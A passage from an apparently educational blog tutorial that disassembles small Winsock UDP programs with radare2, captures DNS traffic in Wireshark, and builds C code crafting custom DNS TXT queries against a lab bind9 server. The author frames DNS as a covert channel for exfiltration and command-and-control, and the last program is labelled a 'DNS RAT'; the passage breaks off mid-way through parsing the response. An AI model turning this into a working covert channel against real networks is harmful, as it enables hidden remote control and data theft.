|           0x004015f3      ffd0           call rax
|           0x004015f5      668945d2       mov word [local_2eh], ax
|           0x004015f9      488d0d002a00.  lea rcx, str.192.168.0.50   ; section..rdata ; 0x404000 ; "192.168.0.50"
|           0x00401600      488b05d16d00.  mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0x4083d8:8]=0x8740 reloc.WS2_32.dll_inet_addr ; "@\x87"
|           0x00401607      ffd0           call rax
|           0x00401609      8945d4         mov dword [local_2ch], eax
|           0x0040160c      488d857f0100.  lea rax, [arg_17fh]         ; 0x17f ; 383
|           0x00401613      488b8d880100.  mov rcx, qword [arg_188h]   ; [0x188:8]=-1 ; 392
|           0x0040161a      8b959c010000   mov edx, dword [arg_19ch]   ; [0x19c:4]=-1 ; 412
|           0x00401620      89542428       mov dword [local_28h], edx
|           0x00401624      488d55d0       lea rdx, [local_30h]
|           0x00401628      4889542420     mov qword [local_20h_2], rdx
|           0x0040162d      41b900000000   mov r9d, 0
|           0x00401633      41b805000000   mov r8d, 5
|           0x00401639      4889c2         mov rdx, rax
|           0x0040163c      488b05a56d00.  mov rax, qword sym.imp.WS2_32.dll_sendto ; [0x4083e8:8]=0x8758 reloc.WS2_32.dll_sendto ; "X\x87"
|           0x00401643      ffd0           call rax
|           0x00401645      898584010000   mov dword [arg_184h], eax   ; [0x184:4]=-1 ; 388
|           0x0040164b      8b8584010000   mov eax, dword [arg_184h]   ; [0x184:4]=-1 ; 388
|           0x00401651      89c2           mov edx, eax
|           0x00401653      488d0db32900.  lea rcx, str.bytes_sent:__d ; 0x40400d ; "bytes sent: %d \n"
|           0x0040165a      e8a1150000     call sym.printf             ; int printf(const char *format)
|           0x0040165f      488d857f0100.  lea rax, [arg_17fh]         ; 0x17f ; 383
|           0x00401666      41b805000000   mov r8d, 5
|           0x0040166c      ba00000000     mov edx, 0
|           0x00401671      4889c1         mov rcx, rax
|           0x00401674      e88f150000     call sym.memset             ; void *memset(void *s, int c, size_t n)
|           0x00401679      488d857f0100.  lea rax, [arg_17fh]         ; 0x17f ; 383
|           0x00401680      488b8d880100.  mov rcx, qword [arg_188h]   ; [0x188:8]=-1 ; 392
|           0x00401687      48c744242800.  mov qword [local_28h], 0
|           0x00401690      48c744242000.  mov qword [local_20h_2], 0
|           0x00401699      41b900000000   mov r9d, 0
|           0x0040169f      41b805000000   mov r8d, 5
|           0x004016a5      4889c2         mov rdx, rax
|           0x004016a8      488b05316d00.  mov rax, qword sym.imp.WS2_32.dll_recvfrom ; [0x4083e0:8]=0x874c reloc.WS2_32.dll_recvfrom ; "L\x87"
|           0x004016af      ffd0           call rax
|           0x004016b1      898594010000   mov dword [arg_194h], eax   ; [0x194:4]=-1 ; 404
|           0x004016b7      8b8594010000   mov eax, dword [arg_194h]   ; [0x194:4]=-1 ; 404
|           0x004016bd      89c2           mov edx, eax
|           0x004016bf      488d0d582900.  lea rcx, str.bytes_rec:__d  ; 0x40401e ; "bytes rec: %d \n"
|           0x004016c6      e835150000     call sym.printf             ; int printf(const char *format)
|           0x004016cb      488d857f0100.  lea rax, [arg_17fh]         ; 0x17f ; 383
|           0x004016d2      4889c2         mov rdx, rax
|           0x004016d5      488d0d522900.  lea rcx, str.response:__s   ; 0x40402e ; "response: %s"
|           0x004016dc      e81f150000     call sym.printf             ; int printf(const char *format)
|           0x004016e1      b800000000     mov eax, 0
|           0x004016e6      4881c4200200.  add rsp, 0x220
|           0x004016ed      5d             pop rbp
\           0x004016ee      c3             ret
[0x00401550]>                    

This time we see that the vals for the socket call are different:

|           0x004015bb      41b811000000   mov r8d, 0x11               ; 17
|           0x004015c1      ba02000000     mov edx, 2
|           0x004015c6      b902000000     mov ecx, 2
|           0x004015cb      488b051e6e00.  mov rax, qword sym.imp.WS2_32.dll_socket ; [0x4083f0:8]=0x8762 reloc.WS2_32.dll_socket ; "b\x87"
|           0x004015d2      ffd0           call rax

Then the initial buffer is sent straight to the remote machine:

|           0x0040160c      488d857f0100.  lea rax, [arg_17fh]         ; 0x17f ; 383
|           0x00401613      488b8d880100.  mov rcx, qword [arg_188h]   ; [0x188:8]=-1 ; 392
|           0x0040161a      8b959c010000   mov edx, dword [arg_19ch]   ; [0x19c:4]=-1 ; 412
|           0x00401620      89542428       mov dword [local_28h], edx
|           0x00401624      488d55d0       lea rdx, [local_30h]
|           0x00401628      4889542420     mov qword [local_20h_2], rdx
|           0x0040162d      41b900000000   mov r9d, 0
|           0x00401633      41b805000000   mov r8d, 5
|           0x00401639      4889c2         mov rdx, rax
|           0x0040163c      488b05a56d00.  mov rax, qword sym.imp.WS2_32.dll_sendto ; [0x4083e8:8]=0x8758 reloc.WS2_32.dll_sendto ; "X\x87"
|           0x00401643      ffd0           call rax

And then the same buffer we used for sent is zeroed with memset cause it will be used

|           0x00401671      4889c1         mov rcx, rax
|           0x00401674      e88f150000     call sym.memset             ; void *memset(void *s, int c, size_t n)
|           0x00401679      488d857f0100.  lea rax, [arg_17fh]         ; 0x17f ; 383
|           0x00401680      488b8d880100.  mov rcx, qword [arg_188h]   ; [0x188:8]=-1 ; 392
|           0x00401687      48c744242800.  mov qword [local_28h], 0
|           0x00401690      48c744242000.  mov qword [local_20h_2], 0
|           0x00401699      41b900000000   mov r9d, 0
|           0x0040169f      41b805000000   mov r8d, 5
|           0x004016a5      4889c2         mov rdx, rax
|           0x004016a8      488b05316d00.  mov rax, qword sym.imp.WS2_32.dll_recvfrom ; [0x4083e0:8]=0x7ffcc1793010
|           0x004016af      ffd0           call rax
            ;-- rip:
|           0x004016b1 b    898594010000   mov dword [arg_194h], eax   ; [0x194:4]=-1 ; 404

[0x004016b1]> afvd
arg arg_17fh = 0x0061fdff  0x0000050a21796568   hey!....
arg arg_180h = 0x0061fe00  0x000000050a217965   ey!.....
arg arg_181h = 0x0061fe01  0xd4000000050a2179   y!......
arg arg_182h = 0x0061fe02  0x00d4000000050a21   !.......

No mystery here really… when dealing with these things we basically need to know about: the socket (remote ip, port, protocol), buffers (what we are sending/expecting and where is it stored, then where/how is it used) and the lenght of those buffers, everything revolves around that.

… And on wireshark we should be seeing something like:

00000000  68 65 6c 6c 6f                                     hello
    00000000  68 65 79 21 0a                                     hey!.

Again, no surprises

“Reversing” network protocols: DNS

But what if we just don’t want to send RAW data and we want to create or perhaps EMULATE/USE an already well known protocol?

Well, as we saw, what we sent appears on wireshark, if we sent raw hex, that raw hex is what we’ll see there on wireshark, so…yes if we craft our packet following the format of the desired protocol, that is what the other part will receive. We just need to place the right bytes on the right places.

So, now we’ll try to emulate a DNS packet, why DNS? Because it is very common, it has custom (hex) fields so the “request” is not just plain text as in HTTP, and also DNS traffic is allowed in the firewalls of many networks, so DNS can easily be used to exfiltrate data or receive commands from remote C&C servers, when reversing / studying malware, you’ll see DNS being used exactly for that

Of course we can read the RFC and some online documentation and learn about the DNS protocol, about the packet format and so on. But what if we don’t have that? What if we are dealing with a totally unknown custom network protocol. I would like to take that approach now just to show you how it can easily be done.

So in this case we can actually start a wireshark session on the sender/receiver machine and just lanch a random dns query, by using some program like nslookup or dig.

In this case, I setup a simple DNS server using bind9,

my forward dns zone looks like:

$TTL    604800

@       IN      SOA     primary.ab.local. root.primary.ab.local. (
                              6         ; Serial
                         604820         ; Refresh
                          86600         ; Retry
                        2419600         ; Expire
                         604600 )       ; Negative Cache TTL

;Name Server Information
@       IN      NS      primary.ab.local.

;IP address of Your Domain Name Server(DNS)
primary IN       A      192.168.0.50

;Mail Server MX (Mail exchanger) Record
ab.local. IN  MX  10  mail.ab.local.

;A Record for Host names
www     IN       A       192.168.0.60
mail    IN       A       192.168.0.70

;CNAME Record
ftp     IN      CNAME    www.ab.local.

joe     IN      TXT     "You can put any text"
mark    IN      TXT     "1:secret message one"
karl    IN      TXT     "2:200"
bb      IN      TXT     "VGhpcyB0ZXh0IGlzIGJhc2U2NCBlbmNvZGVk="
xxx     IN      A       192.168.0.20

And when doing dig ab.local the following appears on wireshark:

00000000  ae c0 01 20 00 01 00 00  00 00 00 01 02 61 62 05   ... .... .....ab.
00000010  6c 6f 63 61 6c 00 00 01  00 01 00 00 29 10 00 00   local... ....)...
00000020  00 00 00 00 00                                     .....
    00000000  ae c0 85 80 00 01 00 00  00 01 00 01 02 61 62 05   ........ .....ab.
    00000010  6c 6f 63 61 6c 00 00 01  00 01 c0 0c 00 06 00 01   local... ........
    00000020  00 09 39 b8 00 25 07 70  72 69 6d 61 72 79 c0 0c   ..9..%.p rimary..
    00000030  04 72 6f 6f 74 c0 26 00  00 00 06 00 09 3a 94 00   .root.&. .....:..
    00000040  01 52 48 00 24 eb 90 00  09 39 b8 00 00 29 10 00   .RH.$... .9...)..
    00000050  00 00 00 00 00 00                                  ......

ws1

Wireshark has a cool option for printing the packet in a C array:

char peer0_0[] = { /* Packet 522 */
0xae, 0xc0, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x01, 0x02, 0x61, 0x62, 0x05, 
0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x00, 0x00, 0x01, 
0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00 };
char peer1_0[] = { /* Packet 523 */
0xae, 0xc0, 0x85, 0x80, 0x00, 0x01, 0x00, 0x00, 
0x00, 0x01, 0x00, 0x01, 0x02, 0x61, 0x62, 0x05, 
0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x00, 0x00, 0x01, 
0x00, 0x01, 0xc0, 0x0c, 0x00, 0x06, 0x00, 0x01, 
0x00, 0x09, 0x39, 0xb8, 0x00, 0x25, 0x07, 0x70, 
0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0xc0, 0x0c, 
0x04, 0x72, 0x6f, 0x6f, 0x74, 0xc0, 0x26, 0x00, 
0x00, 0x00, 0x06, 0x00, 0x09, 0x3a, 0x94, 0x00, 
0x01, 0x52, 0x48, 0x00, 0x24, 0xeb, 0x90, 0x00, 
0x09, 0x39, 0xb8, 0x00, 0x00, 0x29, 0x10, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

And yes, as you can easily figure out, we can just copy and paste our request packet in a C program and then send it “replicating” the query. Of course can MODIFY the packet to send whatever we want to send (changing parameters, changing the query etc), this approach is followed when dealing with exploits / fuzzing

The following program repliactes a simple similar DNS query:

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <conio.h>


#pragma comment(lib, "ws2_32")

#define BUFLEN 65536
int main(){

    char buffer[] = {
        0x00, 0x05, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x03, 0x77, 0x77, 0x77,
        0x02, 0x61, 0x62, 0x05, 0x6c, 0x6f, 0x63, 0x61,
        0x6c, 0x00, 0x00, 0x01, 0x00, 0x01 };

    char buf[BUFLEN];

    SOCKET sock;
    WSADATA wsa;
    SOCKADDR_IN ReceiverAddr , SrcInfo;
    SOCKADDR_IN SenderAddr;
    int slen = sizeof(ReceiverAddr) ;
    int port = 53;
    int bytes_rec=0;

	if (WSAStartup(MAKEWORD(2,2),&wsa) != 0){
		printf("Failed. Error Code : %d",WSAGetLastError());
		return 1;
	}

    if((sock = socket(AF_INET , SOCK_DGRAM, IPPROTO_UDP )) == INVALID_SOCKET){
        printf("Could not create socket : %d" , WSAGetLastError());
    }

    ReceiverAddr.sin_family = AF_INET;
    ReceiverAddr.sin_port = htons(port);
    ReceiverAddr.sin_addr.s_addr = inet_addr("192.168.0.50");

    if (sendto(sock, &buffer , sizeof(buffer) , 0, (struct SOCKADDR *) &ReceiverAddr, slen) == SOCKET_ERROR){
        printf("sendto() failed with error code : %d ", WSAGetLastError());
        exit(EXIT_FAILURE);
    }
    else{
        printf("packet sent\n");
    }

    bytes_rec=recvfrom(sock, &buf, BUFLEN, 0,0,0);
    if(bytes_rec > 0 ){
        printf("response: \n");
        for(int i = 0; i < bytes_rec; i++){
            printf("%x",buf[i]);
        }
        printf("\n");
        for(int i = 0; i < bytes_rec; i++){
            printf("%c",buf[i]);
        }
    }
    return 0;
}

Again, the code is no mystery: A couple of for loops have been added to show the response (chars and bytes) we get from the server. As you will see, what the server sends in return has his own format also, it is not plan text like in HTTP, if we want to do something with the response we’ll need to be able to parse it!

/ (fcn) sym.main 782
|           ; CALL XREF from 0x004013c2 (sym.__tmainCRTStartup)
|           0x00401550      55             push rbp
|           0x00401551      b840020100     mov eax, 0x10240
|           0x00401556      e8c5170000     call fcn.00402d20
|           0x0040155b      4829c4         sub rsp, rax
|           0x0040155e      488dac248000.  lea rbp, [arg_80h]          ; 0x80 ; 128
|           0x00401566      e8e5030000     call sym.__main
|           0x0040156b      c68580010100.  mov byte [arg_10180h], 0    ; [0x10180:1]=0
|           0x00401572      c68581010100.  mov byte [arg_10181h], 5    ; [0x10181:1]=0
|           0x00401579      c68582010100.  mov byte [arg_10182h], 1    ; [0x10182:1]=0
|           0x00401580      c68583010100.  mov byte [arg_10183h], 0    ; [0x10183:1]=0
|           0x00401587      c68584010100.  mov byte [arg_10184h], 0    ; [0x10184:1]=0
|           0x0040158e      c68585010100.  mov byte [arg_10185h], 1    ; [0x10185:1]=0
|           0x00401595      c68586010100.  mov byte [arg_10186h], 0    ; [0x10186:1]=0
|           0x0040159c      c68587010100.  mov byte [arg_10187h], 0    ; [0x10187:1]=0
|           0x004015a3      c68588010100.  mov byte [arg_10188h], 0    ; [0x10188:1]=0
|           0x004015aa      c68589010100.  mov byte [arg_10189h], 0    ; [0x10189:1]=0
|           0x004015b1      c6858a010100.  mov byte [arg_1018ah], 0    ; [0x1018a:1]=0
|           0x004015b8      c6858b010100.  mov byte [arg_1018bh], 0    ; [0x1018b:1]=0
|           0x004015bf      c6858c010100.  mov byte [arg_1018ch], 3    ; [0x1018c:1]=0
|           0x004015c6      c6858d010100.  mov byte [arg_1018dh], 0x77 ; 'w' ; 119
|           0x004015cd      c6858e010100.  mov byte [arg_1018eh], 0x77 ; 'w' ; 119
|           0x004015d4      c6858f010100.  mov byte [arg_1018fh], 0x77 ; 'w' ; 119
|           0x004015db      c68590010100.  mov byte [arg_10190h], 2    ; [0x10190:1]=0
|           0x004015e2      c68591010100.  mov byte [arg_10191h], 0x61 ; 'a' ; 97
|           0x004015e9      c68592010100.  mov byte [arg_10192h], 0x62 ; 'b' ; 98
|           0x004015f0      c68593010100.  mov byte [arg_10193h], 5    ; [0x10193:1]=0
|           0x004015f7      c68594010100.  mov byte [arg_10194h], 0x6c ; 'l' ; 108
|           0x004015fe      c68595010100.  mov byte [arg_10195h], 0x6f ; 'o' ; 111
|           0x00401605      c68596010100.  mov byte [arg_10196h], 0x63 ; 'c' ; 99
|           0x0040160c      c68597010100.  mov byte [arg_10197h], 0x61 ; 'a' ; 97
|           0x00401613      c68598010100.  mov byte [arg_10198h], 0x6c ; 'l' ; 108
|           0x0040161a      c68599010100.  mov byte [arg_10199h], 0    ; [0x10199:1]=0
|           0x00401621      c6859a010100.  mov byte [arg_1019ah], 0    ; [0x1019a:1]=0
|           0x00401628      c6859b010100.  mov byte [arg_1019bh], 1    ; [0x1019b:1]=0
|           0x0040162f      c6859c010100.  mov byte [arg_1019ch], 0    ; [0x1019c:1]=0
|           0x00401636      c6859d010100.  mov byte [arg_1019dh], 1    ; [0x1019d:1]=0
|           0x0040163d      c785b4010100.  mov dword [arg_101b4h], 0x10 ; 16
|           0x00401647      c785b0010100.  mov dword [arg_101b0h], 0x35 ; '5' ; 53
|           0x00401651      c785ac010100.  mov dword [arg_101ach], 0   ; [0x101ac:4]=0
|           0x0040165b      488d45e0       lea rax, [local_20h]
|           0x0040165f      4889c2         mov rdx, rax
|           0x00401662      b902020000     mov ecx, 0x202              ; 514
|           0x00401667      488b057a6d00.  mov rax, qword sym.imp.WS2_32.dll_WSAStartup ; [0x4083e8:8]=0x8764 reloc.WS2_32.dll_WSAStartup ; "d\x87"
|           0x0040166e      ffd0           call rax
|           0x00401670      85c0           test eax, eax
|       ,=< 0x00401672      7421           je 0x401695
|       |   0x00401674      488b05656d00.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x4083e0:8]=0x8752 reloc.WS2_32.dll_WSAGetLastError ; "R\x87"
|       |   0x0040167b      ffd0           call rax
|       |   0x0040167d      89c2           mov edx, eax
|       |   0x0040167f      488d0d7a2900.  lea rcx, str.Failed._Error_Code_:__d ; section..rdata ; 0x404000 ; "Failed. Error Code : %d"
|       |   0x00401686      e805170000     call sym.printf             ; int printf(const char *format)
|       |   0x0040168b      b801000000     mov eax, 1
|      ,==< 0x00401690      e9c0010000     jmp 0x401855
|      ||   ; CODE XREF from 0x00401672 (sym.main)
|      |`-> 0x00401695      41b811000000   mov r8d, 0x11               ; 17
|      |    0x0040169b      ba02000000     mov edx, 2
|      |    0x004016a0      b902000000     mov ecx, 2
|      |    0x004016a5      488b05646d00.  mov rax, qword sym.imp.WS2_32.dll_socket ; [0x408410:8]=0x879c reloc.WS2_32.dll_socket
|      |    0x004016ac      ffd0           call rax
|      |    0x004016ae      488985a00101.  mov qword [arg_101a0h], rax ; [0x101a0:8]=0
|      |    0x004016b5      4883bda00101.  cmp qword [arg_101a0h], 0xffffffffffffffff
|      |,=< 0x004016bd      7517           jne 0x4016d6
|      ||   0x004016bf      488b051a6d00.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x4083e0:8]=0x8752 reloc.WS2_32.dll_WSAGetLastError ; "R\x87"
|      ||   0x004016c6      ffd0           call rax
|      ||   0x004016c8      89c2           mov edx, eax
|      ||   0x004016ca      488d0d472900.  lea rcx, str.Could_not_create_socket_:__d ; 0x404018 ; "Could not create socket : %d"
|      ||   0x004016d1      e8ba160000     call sym.printf             ; int printf(const char *format)
|      ||   ; CODE XREF from 0x004016bd (sym.main)
|      |`-> 0x004016d6      66c745d00200   mov word [local_30h], 2
|      |    0x004016dc      8b85b0010100   mov eax, dword [arg_101b0h] ; [0x101b0:4]=0
|      |    0x004016e2      0fb7c0         movzx eax, ax
|      |    0x004016e5      89c1           mov ecx, eax
|      |    0x004016e7      488b05026d00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x4083f0:8]=0x8772 reloc.WS2_32.dll_htons ; "r\x87"
|      |    0x004016ee      ffd0           call rax
|      |    0x004016f0      668945d2       mov word [local_2eh], ax
|      |    0x004016f4      488d0d3a2900.  lea rcx, str.192.168.0.50   ; 0x404035 ; "192.168.0.50"
|      |    0x004016fb      488b05f66c00.  mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0x4083f8:8]=0x877a reloc.WS2_32.dll_inet_addr ; "z\x87"
|      |    0x00401702      ffd0           call rax
|      |    0x00401704      8945d4         mov dword [local_2ch], eax
|      |    0x00401707      488d85800101.  lea rax, [arg_10180h]       ; 0x10180
|      |    0x0040170e      488b8da00101.  mov rcx, qword [arg_101a0h] ; [0x101a0:8]=0
|      |    0x00401715      8b95b4010100   mov edx, dword [arg_101b4h] ; [0x101b4:4]=0
|      |    0x0040171b      89542428       mov dword [arg_28h], edx
|      |    0x0040171f      488d55d0       lea rdx, [local_30h]
|      |    0x00401723      4889542420     mov qword [arg_20h], rdx
|      |    0x00401728      41b900000000   mov r9d, 0
|      |    0x0040172e      41b81e000000   mov r8d, 0x1e               ; 30
|      |    0x00401734      4889c2         mov rdx, rax
|      |    0x00401737      488b05ca6c00.  mov rax, qword sym.imp.WS2_32.dll_sendto ; [0x408408:8]=0x8792 reloc.WS2_32.dll_sendto
|      |    0x0040173e      ffd0           call rax
|      |    0x00401740      83f8ff         cmp eax, 0xffffffffffffffff
|      |,=< 0x00401743      7521           jne 0x401766
|      ||   0x00401745      488b05946c00.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x4083e0:8]=0x8752 reloc.WS2_32.dll_WSAGetLastError ; "R\x87"
|      ||   0x0040174c      ffd0           call rax
|      ||   0x0040174e      89c2           mov edx, eax
|      ||   0x00401750      488d0df12800.  lea rcx, str.sendto___failed_with_error_code_:__d ; 0x404048 ; "sendto() failed with error code : %d "
|      ||   0x00401757      e834160000     call sym.printf             ; int printf(const char *format)
|      ||   0x0040175c      b901000000     mov ecx, 1
|      ||   0x00401761      e85a160000     call sym.exit
|      ||   ; CODE XREF from 0x00401743 (sym.main)
|      |`-> 0x00401766      488d0d012900.  lea rcx, str.packet_sent    ; 0x40406e ; "packet sent"
|      |    0x0040176d      e80e160000     call sym.puts               ; int puts(const char *s)
|      |    0x00401772      488d85800100.  lea rax, [arg_180h]         ; 0x180 ; 384
|      |    0x00401779      488b8da00101.  mov rcx, qword [arg_101a0h] ; [0x101a0:8]=0
|      |    0x00401780      48c744242800.  mov qword [arg_28h], 0
|      |    0x00401789      48c744242000.  mov qword [arg_20h], 0
|      |    0x00401792      41b900000000   mov r9d, 0
|      |    0x00401798      41b800000100   mov r8d, 0x10000
|      |    0x0040179e      4889c2         mov rdx, rax
|      |    0x004017a1      488b05586c00.  mov rax, qword sym.imp.WS2_32.dll_recvfrom ; [0x408400:8]=0x8786 reloc.WS2_32.dll_recvfrom
|      |    0x004017a8      ffd0           call rax
|      |    0x004017aa      8985ac010100   mov dword [arg_101ach], eax ; [0x101ac:4]=0
|      |    0x004017b0      83bdac010100.  cmp dword [arg_101ach], 0
|      |,=< 0x004017b7      0f8e93000000   jle 0x401850
|      ||   0x004017bd      488d0db62800.  lea rcx, str.response:      ; 0x40407a ; "response: "
|      ||   0x004017c4      e8b7150000     call sym.puts               ; int puts(const char *s)
|      ||   0x004017c9      c785bc010100.  mov dword [arg_101bch], 0   ; [0x101bc:4]=0
|     ,===< 0x004017d3      eb28           jmp 0x4017fd
|    .----> 0x004017d5      8b85bc010100   mov eax, dword [arg_101bch] ; [0x101bc:4]=0
|    :|||   0x004017db      4898           cdqe
|    :|||   0x004017dd      0fb684058001.  movzx eax, byte [rbp + rax + 0x180] ; [0x180:1]=255 ; 384
|    :|||   0x004017e5      0fbec0         movsx eax, al
|    :|||   0x004017e8      89c2           mov edx, eax
|    :|||   0x004017ea      488d0d942800.  lea rcx, [0x00404085]       ; "%x"
|    :|||   0x004017f1      e89a150000     call sym.printf             ; int printf(const char *format)
|    :|||   0x004017f6      8385bc010100.  add dword [arg_101bch], 1
|    :|||   ; CODE XREF from 0x004017d3 (sym.main)
|    :`---> 0x004017fd      8b85bc010100   mov eax, dword [arg_101bch] ; [0x101bc:4]=0
|    : ||   0x00401803      3b85ac010100   cmp eax, dword [arg_101ach] ; [0x101ac:4]=0
|    `====< 0x00401809      7cca           jl 0x4017d5
|      ||   0x0040180b      b90a000000     mov ecx, 0xa
|      ||   0x00401810      e873150000     call sym.putchar            ; int putchar(int c)
|      ||   0x00401815      c785b8010100.  mov dword [arg_101b8h], 0   ; [0x101b8:4]=0
|     ,===< 0x0040181f      eb21           jmp 0x401842
|     |||   ; CODE XREF from 0x0040184e (sym.main)
|    .----> 0x00401821      8b85b8010100   mov eax, dword [arg_101b8h] ; [0x101b8:4]=0
|    :|||   0x00401827      4898           cdqe
|    :|||   0x00401829      0fb684058001.  movzx eax, byte [rbp + rax + 0x180] ; [0x180:1]=255 ; 384
|    :|||   0x00401831      0fbec0         movsx eax, al
|    :|||   0x00401834      89c1           mov ecx, eax
|    :|||   0x00401836      e84d150000     call sym.putchar            ; int putchar(int c)
|    :|||   0x0040183b      8385b8010100.  add dword [arg_101b8h], 1
|    :|||   ; CODE XREF from 0x0040181f (sym.main)
|    :`---> 0x00401842      8b85b8010100   mov eax, dword [arg_101b8h] ; [0x101b8:4]=0
|    : ||   0x00401848      3b85ac010100   cmp eax, dword [arg_101ach] ; [0x101ac:4]=0
|    `====< 0x0040184e      7cd1           jl 0x401821
|      ||   ; CODE XREF from 0x004017b7 (sym.main)
|      |`-> 0x00401850      b800000000     mov eax, 0
|      |    ; CODE XREF from 0x00401690 (sym.main)
|      `--> 0x00401855      4881c4400201.  add rsp, 0x10240
|           0x0040185c      5d             pop rbp
\           0x0040185d      c3             ret

I won’t go step by step here as everything looks familiar, just see that the following is received as a response via the buffer:

[0x004017aa]> pxw @ 0x0060fde0
0x0060fde0  0x80850500 0x01000100 0x01000100 0x77777703  .............www
0x0060fdf0  0x05626102 0x61636f6c 0x0100006c 0x0cc00100  .ab.local.......
0x0060fe00  0x01000100 0x803a0900 0xa8c00400 0x10c03c00  ......:......<..
0x0060fe10  0x01000200 0x803a0900 0x70070a00 0x616d6972  ......:....prima
0x0060fe20  0x10c07972 0x01003ac0 0x09000100 0x0400803a  ry...:......:...
0x0060fe30  0x3200a8c0 0x00000000 0x00000000 0x00000000  ...2............

We can correctly identify the response there, we’ll just need to correctly parse it if we want to use it:

Custom DNS queries in C

So, DNS can easily be used inside any network as a covert communication channel, we can craft custom packets and send/get stuff encoded inside the domain name we are querying from, we can for example, ask for some subdomain with some weird long name and get/send info using that.

But as you are thinking, we’ll need to be able to send custom strings, strings of variable size, so working on a fixed size buffer editing the right bytes won’t be possible (unless we are going to send fixed size chunks but that is not very elegant and we want to learn)

What we’ll need to do know is packet crafting as we’ll need to create our own custom DNS packet and send it right away to the remote server.

Sooo, take a seat grab some coffee and take a look at the following program, it creates a custom DNS packet asking for a TXT register on a user defined domain.

Two concepts are fundamental here:

  • We are creating different structs for different packet parts and we define the size of each field to correctly match the format and don’t “break” the packet structure.
  • We are concatenating each of the parts to create a packet as we need everything to be “together” in the same buffer. We cannot create one single struct with everything on cause our string is of variable size.
  • 65536 is the max size of a udp packet

And here’s the code:

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <conio.h>


#pragma comment(lib, "ws2_32")

#define BUFLEN 65536 //max size of packet 
// first we define the DNS packet for query: 
// DNS STANDARD QUERY PACKET
struct dns_header
{
    unsigned short id; // identification number

    unsigned char rd :1; // recursion desired
    unsigned char tc :1; // truncated message
    unsigned char aa :1; // authoritive answer
    unsigned char opcode :4; // purpose of message
    unsigned char qr :1; // query/response flag

    unsigned char rcode :4; // response code
    unsigned char cd :1; // checking disabled
    unsigned char ad :1; // authenticated data
    unsigned char z :1; // its z! reserved
    unsigned char ra :1; // recursion available

    unsigned short q_count; // number of question entries
    unsigned short ans_count; // number of answer entries
    unsigned short auth_count; // number of authority entries
    unsigned short add_count; // number of resource entries
};

struct question{
    unsigned short type;
    unsigned short tclass;
};

typedef struct
{
    unsigned char *name;
    struct question *ques;
} query;


// in DNS www.web.com goes like 3WWW3WEB3COM (3, 3 int not ascii, is the size)
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
    int lock = 0 , i;
    strcat((char*)host,".");

    for(i = 0 ; i < strlen((char*)host) ; i++)
    {
        if(host[i]=='.')
        {
            *dns++ = i-lock;
            for(;lock<i;lock++)
            {
                *dns++=host[lock];
            }
            lock++; //or lock=i+1;
        }
    }
    *dns++='\0';
}

int main()
{

    unsigned char buf[65536],*qname,*reader;
    char host[100]; // DNS QUERY

    printf("DNS RAT UP AND RUNNING \n");
    printf("Enter Hostname to Lookup : ");

    // ------ DNS QUERY CRAFTING
    scanf("%s" , host);

    struct question *qinfo = NULL;
    struct dns_header *dns = NULL;

    // DNS QUERY HEADERS SETUP
    dns = (struct dns_header *)&buf;
    dns->id = (unsigned short) htons(getpid());
    dns->qr = 0; //This is a query
    dns->opcode = 0; //This is a standard query
    dns->aa = 0; //Not Authoritative
    dns->tc = 0; //This message is not truncated
    dns->rd = 1; //Recursion Desired
    dns->ra = 0; //Recursion not available! hey we dont have it (lol)
    dns->z = 0;
    dns->ad = 0;
    dns->cd = 0;
    dns->rcode = 0;
    dns->q_count = htons(1); //we have only 1 question
    dns->ans_count = 0;
    dns->auth_count = 0;
    dns->add_count = 0;

    // DNS QUESTION
    qname =(unsigned char*)&buf[sizeof(struct dns_header)];
    ChangetoDnsNameFormat(qname , host); // SUBSTITUTE '.' BY LENGTH
    // UPDATE THE QUERY BUFFER
    qinfo =(struct question*)&buf[sizeof(struct dns_header) + (strlen((const char*)qname) + 1)]; //we are just concatenating data
    // SET CLASS
    qinfo->type = htons(16); // 1 == 'A', 16 == 'TXT', we ask for TXT registers
    qinfo->tclass = htons(1); // 1 = INTERNET

    // ------ END OF DNS QUERY MAGIC

    // WINSOCK INITIALIZATION
    SOCKET sock;
    WSADATA wsa;
    SOCKADDR_IN ReceiverAddr , SrcInfo;
    SOCKADDR_IN SenderAddr;
    int slen = sizeof(ReceiverAddr) ;
    int port = 53;


	if (WSAStartup(MAKEWORD(2,2),&wsa) != 0){
		printf("Failed. Error Code : %d",WSAGetLastError());
		return 1;
	}

	printf("1 - WINSOCK INITIALIZED. \n");

    if((sock = socket(AF_INET , SOCK_DGRAM, IPPROTO_UDP )) == INVALID_SOCKET){
        printf("Could not create socket : %d" , WSAGetLastError());
    }
    printf("2 - WINSOCK SOCKET CREATED. \n");
    ReceiverAddr.sin_family = AF_INET;
    ReceiverAddr.sin_port = htons(port);
    ReceiverAddr.sin_addr.s_addr = inet_addr("192.168.0.50");

    if (sendto(sock,(char*)buf,sizeof(struct dns_header) + (strlen((const char*)qname)+1) + sizeof(struct question) , 0 , (struct SOCKADDR *) &ReceiverAddr, slen) == SOCKET_ERROR){
        printf("sendto() failed with error code : %d ", WSAGetLastError());
        exit(EXIT_FAILURE);
    }
    else{
        printf("3 - SENDTO() OK, packet sent\n");
    }

    if (recvfrom(sock, &buf, BUFLEN, 0,0,0) == SOCKET_ERROR){
        printf("error recving : %d" , WSAGetLastError());

    }else{
        printf("4 - RECVFROM() OK, packet received \n"); // joe.ab.local
        reader = &buf[sizeof(struct dns_header) + (strlen((const char*)qname)+1) + sizeof(struct question)];

        if(dns->ans_count > 0){
            int txt_position = 30 + strlen(host)-1;
